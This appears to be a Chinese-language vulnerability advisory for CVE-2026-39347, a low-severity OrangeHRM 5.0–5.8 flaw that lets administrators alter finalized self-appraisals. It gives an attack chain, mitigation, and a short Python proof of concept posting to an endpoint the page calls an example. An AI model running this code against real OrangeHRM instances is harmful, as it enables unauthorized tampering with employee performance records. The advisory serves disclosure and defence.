IPBUF安全漏洞报告
English
CVE-2026-39347 CVSS 2.7 低危

CVE-2026-39347 OrangeHRM 自我评估完整性漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39347
漏洞类型
业务逻辑错误
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
OrangeHRM

相关标签

业务逻辑漏洞OrangeHRM数据完整性权限管理

漏洞概述

OrangeHRM 是一套开源的综合人力资源管理系统。在 5.0 至 5.8 版本中,系统存在业务逻辑缺陷,允许管理员用户在自我评估提交被标记为完成后,仍然接受并保存对其内容的修改。这一行为破坏了已定稿评估记录的完整性,可能导致历史绩效数据被恶意篡改。该漏洞已在 5.8.1 版本中得到修复。

技术细节

该漏洞属于业务逻辑设计缺陷,主要存在于 OrangeHRM 的绩效评估模块中。在受影响的版本(5.0 至 5.8)中,当普通员工提交自我评估并将其状态标记为“已完成”后,系统后端未能正确实施对该记录的写操作锁定。根据 CVSS 3.1 向量分析,利用该漏洞需要具备高权限(PR:H),即攻击者必须拥有管理员级别的账户权限。在获得权限后,攻击者无需复杂的攻击载荷或用户交互(UI:N),只需通过管理界面或直接发送 API 请求修改已归档的评估数据,服务器便会接受更改并更新数据库。这种行为直接破坏了业务数据的完整性(I:L),使得关键的人事绩效记录可以被事后篡改,从而绕过审计机制。尽管机密性未受影响,但此漏洞可能被用于内部欺诈或掩盖管理问题。

攻击链分析

STEP 1
Steps 1
攻击者获取 OrangeHRM 系统的高权限管理员账户凭据。
STEP 2
Steps 2
管理员登录系统,导航至绩效管理模块,查看已被标记为“已完成”的自我评估记录。
STEP 3
Steps 3
管理员利用漏洞,修改已定稿的自我评估内容(如评分或评论)并提交。
STEP 4
Steps 4
系统接受修改并更新数据库,破坏了原记录的完整性和不可篡改性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: OrangeHRM 5.0-5.8 - Administrator Modification of Finalized Appraisals # Date: 2026-04-07 # Exploit Author: Analyst # Vendor Homepage: https://www.orangehrm.com/ # Software Link: https://github.com/orangehrm/orangehrm # Version: 5.0 - 5.8 # CVE: CVE-2026-39347 def exploit(target_url, session_cookie, appraisal_id, new_comment): """ Demonstrates modifying a finalized appraisal as an administrator. """ headers = { "Cookie": f"PHPSESSID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Payload to update the finalized appraisal payload = { "appraisalId": appraisal_id, "comment": new_comment, "status": "completed" # Keeping status as completed but changing content } # Endpoint for saving appraisal (example endpoint, may vary by version) url = f"{target_url}/pim/savePerformanceReview" response = requests.post(url, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully modified finalized appraisal {appraisal_id}.") else: print(f"[-] Failed to modify appraisal. Status code: {response.status_code}") # Usage Example # exploit("http://target-orangehrm.com", "admin_session_id", "101", "Modified by admin post-submission")

影响范围

OrangeHRM 5.0
OrangeHRM 5.1
OrangeHRM 5.2
OrangeHRM 5.3
OrangeHRM 5.4
OrangeHRM 5.5
OrangeHRM 5.6
OrangeHRM 5.7
OrangeHRM 5.8

防御指南

临时缓解措施
建议立即将系统升级至 5.8.1 版本以彻底修复此漏洞。在无法立即升级的情况下,应通过应用层配置严格限制管理员对已归档评估记录的写操作,并开启详细的系统日志审计,以便及时发现对历史数据的异常修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表